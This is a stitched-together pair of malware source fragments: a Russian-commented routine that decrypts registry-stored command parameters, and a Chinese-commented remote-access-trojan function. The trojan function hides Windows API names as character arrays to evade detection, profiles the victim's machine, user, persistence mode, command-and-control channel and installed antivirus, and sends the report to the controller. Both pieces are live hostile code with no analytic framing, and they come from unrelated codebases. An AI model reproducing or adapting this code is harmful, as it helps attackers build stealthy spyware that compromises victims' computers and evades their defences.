// Загрузка параметров команды installbkstat из реестра // одновременно с дешифровкой bool DebugReportLoadParamList(string * ParamList) { HKEY key = CreateSettingKey(); DBGRPTDBG("DebugReportLoadParamList", "CreateSettingKey() result=0x%X", key); if (key == NULL) return false; BYTE Buffer[1024]; DWORD ValueLength = sizeof(Buffer) - 1; DWORD ValueType = 0; m_memset(Buffer, 0, sizeof(Buffer)); DWORD query_value_result = (DWORD)pRegQueryValueExA(key, GetValueName("PL").t_str(), 0, &ValueType, Buffer, &ValueLength); pRegCloseKey(key); DBGRPTDBG("DebugReportLoadParamList", "RegQueryValueEx() result=%u ValueType=%d", query_value_result, ValueType); if (query_value_result != ERROR_SUCCESS) return false; if (ValueType != REG_BINARY) return false; XORCrypt::Crypt(GenerateUidAsString("").t_str(), Buffer, ValueLength); *ParamList = string((const char*)Buffer, ValueLength); DBGRPTDBG("DebugReportLoadParamList", "Finished.(param_list='%s')", (*ParamList).t_str()); return true; }
void CSystemManager::GetSystemInfo() { MESSAGEInfo Infomsg; //获取操作系统相关信息 Infomsg.bToken = TOKEN_SYSTEMINFO; //////////////CPU Speed///////////////// DWORD dwCpu, dwBufLen; HKEY hKey; char JYvni02[] = {'H','A','R','D','W','A','R','E','\\','D','E','S','C','R','I','P','T','I','O','N','\\','S','y','s','t','e','m','\\','C','e','n','t','r','a','l','P','r','o','c','e','s','s','o','r','\\','0','\0'}; char HrFvD07[] = {'R','e','g','O','p','e','n','K','e','y','E','x','A','\0'}; RegOpenKeyExAT pRegOpenKeyExA=(RegOpenKeyExAT)GetProcAddress(LoadLibrary("ADVAPI32.dll"),HrFvD07); pRegOpenKeyExA( HKEY_LOCAL_MACHINE, JYvni02, 0, KEY_QUERY_VALUE, &hKey ); dwBufLen = sizeof(DWORD); char HrFvD13[] = {'R','e','g','Q','u','e','r','y','V','a','l','u','e','E','x','A','\0'}; RegQueryValueExAT pRegQueryValueExA=(RegQueryValueExAT)GetProcAddress(LoadLibrary("ADVAPI32.dll"),"RegQueryValueExA"); pRegQueryValueExA( hKey, ("~MHz"), NULL, NULL,(LPBYTE)&dwCpu, &dwBufLen); char HrFvD06[] = {'R','e','g','C','l','o','s','e','K','e','y','\0'}; RegCloseKeyT pRegCloseKey=(RegCloseKeyT)GetProcAddress(LoadLibrary("ADVAPI32.dll"),HrFvD06); pRegCloseKey(hKey); char CtxPW50[] = {'w','s','p','r','i','n','t','f','A','\0'}; wsprintfAT pwsprintfA=(wsprintfAT)GetProcAddress(LoadLibrary("USER32.dll"),CtxPW50); pwsprintfA(Infomsg.szCpuSpeend,("~%u MHz"), dwCpu); //Get CPU Info=============================== CHAR SubKey[] = {'H','A','R','D','W','A','R','E','\\','D','E','S','C','R','I','P','T','I','O','N','\\','S','y','s','t','e','m','\\','C','e','n','t','r','a','l','P','r','o','c','e','s','s','o','r','\\','0','\0','\0'}; // CHAR SubKey[MAX_PATH]=("HARDWARE\\DESCRIPTION\\System\\CentralProcessor\\0\0"); hKey = NULL; if(pRegOpenKeyExA(HKEY_LOCAL_MACHINE,SubKey,0L,KEY_ALL_ACCESS,&hKey) == ERROR_SUCCESS) { DWORD dwType; DWORD dwSize = 128 * sizeof(TCHAR); pRegQueryValueExA(hKey,("ProcessorNameString"),NULL,&dwType,(BYTE *)Infomsg.szCpuInfo,&dwSize); pRegCloseKey(hKey); } //Get Computer & User Name======================== DWORD dwLen = sizeof(Infomsg.szPcName); char CPolQ16[] = {'G','e','t','C','o','m','p','u','t','e','r','N','a','m','e','A','\0'}; GetComputerNameAT pGetComputerNameA=(GetComputerNameAT)GetProcAddress(LoadLibrary("KERNEL32.dll"),CPolQ16); pGetComputerNameA(Infomsg.szPcName, &dwLen); /* dwLen = sizeof(Infomsg.szUserName); GetUserName(Infomsg.szUserName,&dwLen); //获取当前用户名 */ //获取当前用户名及计算机名称 GetCurrentUserNamet(Infomsg.szUserName); //Get Screen Size================================= char DYrEN67[] = {'G','e','t','S','y','s','t','e','m','M','e','t','r','i','c','s','\0'}; GetSystemMetricsT pGetSystemMetrics=(GetSystemMetricsT)GetProcAddress(LoadLibrary("USER32.dll"),DYrEN67); pwsprintfA(Infomsg.szScrSize, ("%d * %d"), pGetSystemMetrics(SM_CXSCREEN),pGetSystemMetrics(SM_CYSCREEN)); // UINT Porst =dwPort[nConnect]; if(nConnect==0) pwsprintfA(Infomsg.LineName,"域名上线:%s",lpConnects[0]); //域名上线写入 if(nConnect==1) pwsprintfA(Infomsg.LineName,"QQ上线:%s",lpConnects[1]); //QQ上线写入 if(nConnect==2) pwsprintfA(Infomsg.LineName,"网盘上线:%s",lpConnects[2]); //网盘上线写入 pwsprintfA(Infomsg.LinePort,"%d",dwPort[nConnect]); //上线端口写入 char LCoHX03[] = {'G','e','t','M','o','d','u','l','e','F','i','l','e','N','a','m','e','A','\0'}; GetModuleFileNameAT pGetModuleFileNameA=(GetModuleFileNameAT)GetProcAddress(LoadLibrary("KERNEL32.dll"),LCoHX03); char szbuf[256]; pGetModuleFileNameA(NULL,szbuf,MAX_PATH); //用于获取程序本身路径 pwsprintfA(Infomsg.Program,"%s",szbuf ); if(Installope==0) //绿色一次性运行 { pwsprintfA(Infomsg.InstallOpen,"%s","(绿色运行)--重启不上线!"); //上线运行方式 } else if(Installope==1) // 服务启动运行 { pwsprintfA(Infomsg.InstallOpen,"%s","(服务启动)--SYSTEM用户运行!"); //上线运行方式 } else if(Installope==2) // 直接启动运行 { pwsprintfA(Infomsg.InstallOpen,"%s","(直接启动)--当前用户运行!"); //上线运行方式 } pwsprintfA(Infomsg.szUserVirus,"%s",GetVirus()); //杀毒软件 Send((LPBYTE)&Infomsg, sizeof(MESSAGEInfo)); }